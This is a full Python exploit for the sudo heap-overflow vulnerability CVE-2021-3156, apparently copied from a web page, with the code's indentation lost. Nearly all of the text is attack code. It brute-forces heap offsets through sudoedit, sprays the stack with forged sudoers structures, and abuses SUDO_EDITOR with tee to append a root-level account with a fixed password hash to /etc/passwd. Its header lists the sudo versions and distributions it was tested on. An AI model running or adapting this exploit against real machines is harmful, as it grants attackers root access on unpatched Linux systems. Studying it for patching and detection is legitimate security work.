Your IP : 52.14.158.115
#!/usr/bin/python
'''
Exploit for CVE-2021-3156 with struct userspec overwrite by sleepya
This exploit requires:
- glibc without tcache
- sudo version 1.8.9-1.8.23 (inclusive)
- patient (and luck). Bruteforcing might take time (almost instant to >10 mins)
Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing
Without glibc tcache, a heap layout rarely contains hole.
The heap overflow vulnerability is triggered after parsing /etc/sudoers.
The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec).
Tested on:
- CentOS 7 (1.8.23)
- Ubuntu 16.04.1
- Debian 9
- Fedora 25
sudo version related info:
v1.8.9
- change tq_pop to tailq_list
v1.8.11
- move fatal callbacks to util. so cleanup is called correctly
v1.8.19
- add line, file to userspec (chunk size 0x50)
v1.8.20
- add timeout to cmndspec
- add notbefore and notafter to cmndspec
v1.8.21
- move timeout in cmndspec to avoid padding (layout is changed)
v1.8.23
- add comments to userspec struct (chunk size 0x60)
- add ldap field in privileges chunk
v1.8.24
- add free_userpsecs() and free_defaults() with TAILQ_FIRST/TAILQ_REMOVE
'''
import os
import subprocess
import sys
import resource
import select
import signal
from struct import pack, unpack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit"
TEE_PATH = b"/usr/bin/tee"
PASSWD_PATH = b'/etc/passwd'
APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";
DEBUG = False
# fake defaults object for finding offsets
# expect VSYSCALL permission is "r-x" on old Linux kernel
VSYSCALL_ADDR = 0xffffffffff600000
defaults_test_obj = [
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # defaults.next
b"A"*8 + pack("<Q", VSYSCALL_ADDR+0x880) + # prev, var (use syscall for testing first)
b"A"*0x20
]
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code & 0xff7f # remove coredump flag
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
# Note: error with backtrace is print to tty directly. cannot be piped or suppressd
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.close(r)
os.dup2(w, 2)
execve(filename, cargv, cenvp)
exit(0)
# parent
os.close(w)
# might occur deadlock in heap. kill it if timeout and set exit_code as 6
# 0.5 second should be enough for execution
sr, _, _ = select.select([ r ], [], [], 0.5)
if sr or DEBUG:
_, exit_code = os.waitpid(pid, 0)
else:
# timeout, assume dead lock in heap
os.kill(pid, signal.SIGKILL)
_, exit_code = os.waitpid(pid, 0)
exit_code = 6
r = os.fdopen(r, 'r')
err = r.read()
r.close()
return exit_code & 0xff7f, err # remove coredump flag
def has_askpass(err):
# 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
return 'sudoedit: no askpass program ' in err
def find_cmnd_size():
argv = [ b"sudoedit", b"-A", b"-s", PASSWD_PATH, b"", None ]
env = [ b'A'*(0x401f+0x108-1), b"LC_ALL=C", b"TZ=:", None ]
size_min, size_max = 0xc00, 0x2000
found_size = 0
while size_max - size_min > 0x10:
curr_size = (size_min + size_max) // 2
curr_size &= 0xfff0
print("\ncurr size: 0x%x" % curr_size)
argv[-2] = b"A"*(curr_size-0x10-len(PASSWD_PATH)-1)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code == 256 and has_askpass(err):
# need pass. no crash.
# fit or almost fit
if found_size:
found_size = curr_size
break
# maybe almost fit. try again
found_size = curr_size
size_min = curr_size
size_max = curr_size + 0x20
elif exit_code == 11:
# segfault. too big
if found_size:
break
size_max = curr_size
else:
# heap corruption. too small
size_min = curr_size
if found_size:
return found_size
assert size_min == 0x2000 - 0x10
print('has 2 holes. very big one is bad')
size_min, size_max = 0xc00, 0x2000
for step in (0x400, 0x100, 0x40, 0x10):
found = False
env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
for curr_size in range(size_min, size_max, step):
argv[-2] = b"A"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\ncurr size: 0x%x" % curr_size)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code in (7, 11):
size_min = curr_size
found = True
elif found:
print("\nsize_min: 0x%x" % size_min)
break
assert found, "Cannot find cmnd size"
size_max = size_min + step
# TODO: verify
return size_min
def find_defaults_chunk(argv, env_prefix):
offset = 0
pos = len(env_prefix) - 1
env = env_prefix[:]
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
# overflow until sudo crash without asking pass
# crash because of defaults.entries.next is overwritten
while True:
env[pos] += b'A'*0x10
exit_code, err = spawn(SUDO_PATH, argv, env)
# 7 bus error, 11 segfault
if exit_code in (7, 11) and not has_askpass(err):
# found it
env[pos] = env[pos][:-0x10]
break
offset += 0x10
# new env_prefix
env_prefix = env[:-3]
# tmp env_prefix for if it is defaults
env_prefix_def = env_prefix[:]
env_prefix_def[-1] += b'\x41\\'
env_prefix_def.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ])
env_prefix_def.extend(defaults_test_obj)
# verify if it is defaults
env = env_prefix_def[:]
env[-1] = env[-1][:-1] # remove 1 character. no overwrite next chunk with \x00
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
exit_code, err = spawn(SUDO_PATH, argv, env)
# old sudo verion has no cleanup if authen fail. exit code is 256.
if has_askpass(err):
assert exit_code in (256, 11)
#if exit_code == 256: no_cleanup = True # old sudo version. no freeing if auth fails
# it is defaults
return True, offset, env_prefix_def
# no defaults, this one is likely struct member.
# reset offset. very rare case.
env_prefix[-1] = env_prefix[-1][:-offset]
return False, 0, env_prefix
def find_member_chunk(argv, env_prefix):
# expect username ("root") chunk size 0x20 then follow by struct member
offset = 0
pos = len(env_prefix) - 1
env = env_prefix[:]
env[-1] = env[-1][:-1]
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
found_heap_corruption = False
past_member = False
while True:
exit_code, err = spawn(SUDO_PATH, argv, env)
if not has_askpass(err) or (found_heap_corruption and exit_code == 11):
assert offset > 0
env[pos] = env[pos][:-0x10]
offset -= 0x10
print('decrease offset to: 0x%x' % offset)
past_member = True
continue
if past_member:
break # found it
if exit_code == 6:
if found_heap_corruption:
break
found_heap_corruption = True
env[pos] += b'A'*0x30
offset += 0x30
print('offset member: 0x%x' % offset)
return offset
def find_first_userspec_chunk(argv, env_prefix):
offset_member = find_member_chunk(argv, env_prefix)
# after user member chunk, can safely skip 0x120 because of host, cmnd, cmndspec, privileges
SKIP_FIND_USERSPEC_SIZE = 0x120
offset_pre = offset_member + SKIP_FIND_USERSPEC_SIZE
pos = len(env_prefix) - 1
env = env_prefix[:]
env[-1] += b'A'*offset_pre + b'A'*7 + b'\\' # append chunk metadata
tmp_env = env[-1]
env.extend([
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next
b"A"*8 + # prev
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # users.first
b"A"*8 + # users.last
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"", # privileges.first
b"LC_ALL=C", b"TZ=:", None
])
offset = _brute_userspec_offset(argv, env, pos, 0x100)
if offset is None:
offset = _find_single_userspec_chunk(argv, env_prefix, offset_member)
single_userspec = True
else:
offset += offset_pre
single_userspec = False
env_prefix[-1] += b'A'*offset
return offset, env_prefix, single_userspec
def _brute_userspec_offset(argv, env, pos, max_offset):
offset = None
for i in range(0, max_offset, 0x10):
exit_code, err = spawn(SUDO_PATH, argv, env)
#print("0x%x, exit: %d" % (i, exit_code))
#print(err)
if has_askpass(err):
# found. 256 for ver <= 1.8.10 (no cleanup callback. no crash)
assert exit_code in (6, 7, 11, 256), "unexpect exit code: %d" % exit_code
offset = i
if exit_code == 6:
break
else:
assert exit_code == 11, 'expect segfault. got exit_code: %d' % exit_code
if offset is not None:
break
env[pos] = env[pos][:-1] + b'A'*0x10 + b'\\'
return offset;
def _find_single_userspec_chunk(argv, env_prefix, offset_member=-1):
if offset_member == -1:
offset_member = find_member_chunk(argv, env_prefix)
# finding offset of only one userspec needs bruteforcing a bit
# we need entires.prev pointing to a valid address that contains NULL pointer.
# search valid userspec by partial overwritten entries.prev
# Note: this offset search method is very bad if ASLR is disabled (likely to fail)
# For quick testing: run this exploit with ASLR enabled for getting offset.
# Then, disable ASLR and rerun exploit with offset arguments
print('cannot find a userspec. assume only 1 userspec (1 rule in sudoers).')
SKIP_FIND_USERSPEC_SIZE = 0x160
offset_pre = offset_member + SKIP_FIND_USERSPEC_SIZE
pos = len(env_prefix) - 1
env = env_prefix[:]
env[-1] += b'A'*offset_pre + b'A'*7 + b'\\' # append chunk metadata
tmp_env = env[-1]
env.extend([
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next
b"", b"",
b"LC_ALL=C", b"TZ=:", None
])
# first, attempt with NULL least significant byte of prev
offset = _brute_userspec_offset(argv, env, pos, 0xc0)
# then, attempt with NULL 2nd least significant byte and bruteforcing least siginificat byte
# normally, valid offset should be found in 1 round
# if ASLR is disabed, 2nd round is useless because addresses are same as first round.
for _ in range(2):
if offset is not None:
break
for val in range(0, 0x100, 0x8):
env[-5] = "\\" if val == 0 else pack('<B', val)
print("val: 0x%x" % val)
offset = _brute_userspec_offset(argv, env, pos, 0xc0)
if offset is not None:
break
env[pos] = tmp_env
assert offset is not None, "Cannot find single userspec offset.\nIf you are pretty sure of this exploit case, run an exploit again. You might have a bad luck."
print('offset of single userspec: 0x%x' % (offset+offset_pre))
return offset + offset_pre
# for running in sudoers case (asking password before crashed).
# find a member object offset that belongs to a running user (find until crash without asking password).
def find_target_userspec_chunk(argv, env_prefix):
pos = len(env_prefix) - 1
env = env_prefix[:]
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
# verify current userspec is usable or not
env[pos] += b'A'*0x10
exit_code, err = spawn(SUDO_PATH, argv, env)
if exit_code == 11 and not has_askpass(err):
return 0
STEP = 0x100
offset_skip = 0x180
env[pos] += b'A'*(offset_skip-0x10)
tmp_env = env[pos]
# overwrite until sudo crash without asking password
offset_max = None
for i in range(STEP, 0x1000, STEP):
env[pos] += b'A'*STEP
exit_code, err = spawn(SUDO_PATH, argv, env)
if exit_code == 11 and not has_askpass(err):
offset_max = i
break
assert offset_max, "Cannot find a target userspec offset"
print('offset_max: 0x%x' % (offset_max+offset_skip))
offset_min = offset_max - STEP + offset_skip
print('offset_min: 0x%x' % offset_min)
env = env_prefix[:]
env[-1] += b'A'*offset_min
env.extend([ b'\\' ]*0x40)
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
found_base = None
tmp_env = env[pos]
for i in range(0x200, -1, -0x40):
env[pos] = tmp_env + b'A'*i + b'1234567\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
#print("0x%x: %d" % (i, exit_code))
if has_askpass(err):
print('at range: 0x%x-0x%x' % (i-0x40, i+0x30))
found_base = i
break
if found_base is None:
return _find_single_userspec_chunk(argv, env_prefix)
env_prefix[-1] += b'A'*offset_min
for i in range(found_base+0x30, found_base-0x40, -0x10):
if verify_target_userspec_offset(argv, env_prefix, i):
return offset_min + i
print('Cannot find target userspec offset')
exit(1)
def verify_target_userspec_offset(argv, env_prefix, offset):
env = env_prefix[:]
env[-1] += b'A'*offset + b'1234567\\'
env.extend([
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next
b"A"*7, # prev
b"LC_ALL=C", b"TZ=:", None
])
exit_code, err = spawn(SUDO_PATH, argv, env)
return has_askpass(err) and exit_code in (11, 256)
def get_sudo_version():
proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line:
continue
if line.startswith('Sudo version '):
txt = line[13:].strip()
pos = txt.rfind('p')
if pos != -1:
txt = txt[:pos]
versions = list(map(int, txt.split('.')))
break
proc.wait()
return versions
def check_sudo_version():
sudo_vers = get_sudo_version()
assert sudo_vers[0] == 1, "Unexpect sudo major version"
assert sudo_vers[1] == 8, "Unexpect sudo minor version"
assert sudo_vers[2] >= 9, "too old sudo. this exploit method is unlikely (only exploitable with rare /etc/sudoer). not implement"
if sudo_vers[2] > 23:
# overwrite only string of first member
print("Warning: Only work if you known current user's password and no defaults. not implement")
exit(0)
return sudo_vers[2]
def create_env(offset_defaults, offset_first_userspec, offset_userspec):
# offset_userspec
# - 0 if only first userspec is enough
# - -1 if only single userspec
with open('/proc/sys/kernel/randomize_va_space') as f: has_aslr = int(f.read()) != 0
if has_aslr:
STACK_ADDR_PAGE = 0x7fffe5d35000
else:
STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)
ADDR_USER_PREV = pack('<Q', SA+0x38)
ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)
OFFSET = 0x30 + 0x20
ADDR_MEMBER = pack('<Q', SA+OFFSET)
ADDR_USER = pack('<Q', SA+OFFSET+0x30)
ADDR_CMND = pack('<Q', SA+OFFSET+0x60+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x60+0x30+0x60)
epage = [
b'A'*0x8 + # to not ending with 0x00
# fake def->var chunk (get freed)
b'\x21', b'', b'', b'', b'', b'', b'',
ADDR_PRIV[:6], b'', # pointer to privilege
ADDR_CMND[:6], b'', # pointer to cmndspec
ADDR_MEMBER[:6], b'', # pointer to member
# fake def->binding (list head) (get freed)
b'\x21', b'', b'', b'', b'', b'', b'',
b'', b'', b'', b'', b'', b'', b'', b'', # members.first
ADDR_USER[:6], b'', # members.last (unused, so use it for single userspec case)
b'A'*0x8 + # pad
# member chunk
b'\x31', b'', b'', b'', b'', b'', b'', # chunk size
b'A'*8 + # member.tqe_next (can be any)
ADDR_MEMBER_PREV[:6], b'', # member.tqe_prev
b'A'*8 + # member.name (can be any because this object is not freed)
pack('<H', MATCH_ALL), b'', # type, negated
b'A'*0xc+ # padding
# userspec chunk (get freed)
b'\x61', b'', b'', b'', b'', b'', b'', # chunk metadata
b'', b'', b'', b'', b'', b'', b'', b'', # entries.tqe_next
b'A'*8 + # entries.tqe_prev
b'', b'', b'', b'', b'', b'', b'', b'', # users.tqh_first
ADDR_MEMBER[:6]+b'', b'', # users.tqh_last
b'', b'', b'', b'', b'', b'', b'', b'', # privileges.tqh_first
ADDR_PRIV[:6]+b'', b'', # privileges.tqh_last
b'', b'', b'', b'', b'', b'', b'', b'', # comments.stqh_first
ADDR_MEMBER_PREV[:6], b'', # comments.stqh_last (can be any), file for <1.8.23
b'A'*8 + # lineno (can be any)
ADDR_MEMBER_PREV[:6], b'', # file (ref string)
b'A'*8 + # padding
# cmndspec chunk
b'\x61', b'', b'', b'', b'', b'', b'', # chunk size
#b'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
b'A'*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], b'', # entries.teq_prev
b'', b'', b'', b'', b'', b'', b'', b'', # runasuserlist
b'', b'', b'', b'', b'', b'', b'', b'', # runasgrouplist
ADDR_MEMBER[:6], b'', # cmnd
b'\xf9'+b'\xff'*7 + # tag (NOPASSWD), timeout
(b'' if sudo_ver < 20 else b'\xff'*0x10) + # notbefore, notafter
(b'\xff'*8 if sudo_ver == 20 else b'') + # timeout for version 1.8.20
b'', b'', b'', b'', b'', b'', b'', b'', # role
b'', b'', b'', b'', b'', b'', b'', b'', # type
(b'' if sudo_ver == 20 else b'A'*(0x18 if sudo_ver < 20 else 8)) + # padding
# privileges chunk
b'\x51'*0x8 + # chunk metadata
b'A'*0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], b'', # entries.teq_prev
(b'A'*8 if has_ldap else b'') + # ldap_role
b'A'*8 + # hostlist.tqh_first
ADDR_MEMBER[:6], b'', # hostlist.tqh_last
b'A'*8 + # cmndlist.tqh_first
ADDR_CMND[:6], b'', # cmndlist.tqh_last
b'', b'', b'', b'', b'', b'', b'', b'', # defaults.tqh_first
]
env = [ b'A'*(0x401f+0x108) ]
if offset_defaults != -1:
env[-1] += b'A'*(offset_defaults) + b'\x41\\'
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # chunk metadata
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # next
b'a'*8 + # prev
ADDR_DEF_VAR[:6]+b'\\', b'\\', # var
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # val
ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding
ADDR_REFSTR[:6]+b'\\', b'\\', # file
b"Z"*0x8+ # type, op, error, lineno
b'\x31\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # next
])
offset_first_userspec -= 8
chunk_size_byte = pack('B', userspec_chunk_size+1)
tmp = b'A'*(offset_first_userspec) + chunk_size_byte + b'\\'
if env[-1] == b'\\':
env.append(tmp)
else:
env[-1] += tmp
env.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ]) # complete userspec chunk size
if offset_userspec != 0:
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # entries.tqe_next
b"A"*8 + # entries.tqe_prev
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # users.tqh_first
b"A"*8 + # users.tqh_last
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # privileges.tqh_first
b"A"*8 # privileges.tqh_last
])
if userspec_chunk_size == 0x60: # has comments
env[-1] += '\\'
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # comments.tqh_first
b"A"*8 # comments.tqh_last
])
if userspec_chunk_size >= 0x50:
env[-1] += b'A'*8 + ADDR_REFSTR[:6] + b'\\'
env.append(b'\\')
env.append(b'A'*8 + b'\x21\\') # padding, chunk size
else:
env[-1] += b'A'*8 + b'\x21\\' # padding, chunk size
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # need valid chunk metadata
b'A'*(offset_userspec-userspec_chunk_size-8+8-1)+b'\\'
])
env.extend([
# userspec chunk
# for single userspec, sudo might pass checking and cause heap corruption when freeing
# stack memory (with all zero). this case is slower than other cases.
# for >=2 userspecs, this chunk is not used because list is iterated with head->last->prev->next
ADDR_USER[:6]+b'\\', b'\\', # entries.tqe_next
ADDR_USER_PREV[:6]+b'\\', b'\\', # entries.tqe_prev
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # users.tqh_first
#ADDR_MEMBER[:6]+b'\\', b'\\', # users.tqh_last
b'A'*8 + # users.tqh_last
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'', # privileges.tqh_first
b"LC_ALL=C",
b"SUDO_EDITOR="+TEE_PATH+b" -a", # append stdin to /etc/passwd
b"TZ=:",
])
# fill spray data
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append(b'P'*(padlen-1))
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
env.extend(epage)
# reserve space in last element for '/usr/bin/sudo' and padding
env[-1] = env[-1][:-14-8]
env.append(None)
return env
def run_until_success(argv, env):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'wb')
w.write(APPEND_CONTENT)
w.close()
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(65536):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break
if exit_code not in (6, 7, 11):
print("invalid offset. exit code: %d" % exit_code)
break
def main():
cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
# -1 if no defaults
offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None
offset_first_userspec = int(sys.argv[3], 0) if len(sys.argv) > 3 else None
# offset_userspec is -1 if single userspec (only 1 rule in sudoers)
offset_userspec = int(sys.argv[4], 0) if len(sys.argv) > 4 else None
if cmnd_size is None:
cmnd_size = find_cmnd_size()
print("found cmnd size: 0x%x" % cmnd_size)
argv = [ b"sudoedit", b"-A", b"-s", PASSWD_PATH, b"A"*(cmnd_size-0x10-len(PASSWD_PATH)-1)+b"\\", None ]
env_prefix = [ b'A'*(7+0x4010+0x110) ]
if offset_defaults is None:
offset_defaults = -1
found_defaults, offset, env_prefix = find_defaults_chunk(argv, env_prefix)
if found_defaults:
offset_defaults = offset
print('found defaults, offset: 0x%x' % offset_defaults)
else:
print('no defaults in /etc/sudoers')
offset_defaults = -1
elif offset_defaults != -1:
env_prefix[-1] += b'A'*offset_defaults+b'\x41\\'
env_prefix.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ])
env_prefix.extend(defaults_test_obj)
# first userspec offset MUST be known for cleaning up without a crash
if offset_first_userspec is None:
if has_fatal_cleanup:
offset, env_prefix, single_userspec = find_first_userspec_chunk(argv, env_prefix)
offset_first_userspec = offset
print("\noffset to first userspec: 0x%x" % offset_first_userspec)
if single_userspec:
print("single userspec mode")
offset_userspec = 0
else:
offset_first_userspec = 0
else:
env_prefix[-1] += b'A'*(offset_first_userspec)
if offset_userspec is None:
offset_userspec = find_target_userspec_chunk(argv, env_prefix)
print('')
print("cmnd size: 0x%x" % cmnd_size)
offset_defaults_txt = -1 if offset_defaults == -1 else "0x%x" % offset_defaults
print("offset to defaults: %s" % offset_defaults_txt)
print("offset to first userspec: 0x%x" % offset_first_userspec)
offset_userspec_txt = -1 if offset_userspec == -1 else "0x%x" % offset_userspec
print("offset to userspec: %s" % offset_userspec_txt)
print("\nto skip finding offsets next time no this machine, run: ")
print("%s 0x%x %s 0x%x %s" % (sys.argv[0], cmnd_size, offset_defaults_txt, offset_first_userspec, offset_userspec_txt))
if offset_first_userspec == 0:
if not has_fatal_cleanup:
print("\nTarget sudo has bug. No idea to find first userspec.")
print("So the exploit will fail if a running user is in sudoers and not in first two rules.")
# swap value to use only first userspec
offset_first_userspec, offset_userspec = offset_userspec, offset_first_userspec
env = create_env(offset_defaults, offset_first_userspec, offset_userspec)
run_until_success(argv, env)
if __name__ == "__main__":
# global intialization
sudo_ver = check_sudo_version()
DEFAULTS_CMND = 269
if sudo_ver >= 15:
MATCH_ALL = 284
elif sudo_ver >= 13:
MATCH_ALL = 282
elif sudo_ver >= 7:
MATCH_ALL = 280
elif sudo_ver < 7:
MATCH_ALL = 279
DEFAULTS_CMND = 268
has_fatal_cleanup = sudo_ver >= 11
has_file = sudo_ver >= 19 # has defaults.file pointer
has_ldap = sudo_ver >= 23
if sudo_ver < 19:
userspec_chunk_size = 0x40
elif sudo_ver < 23:
userspec_chunk_size = 0x50
else:
userspec_chunk_size = 0x60
main()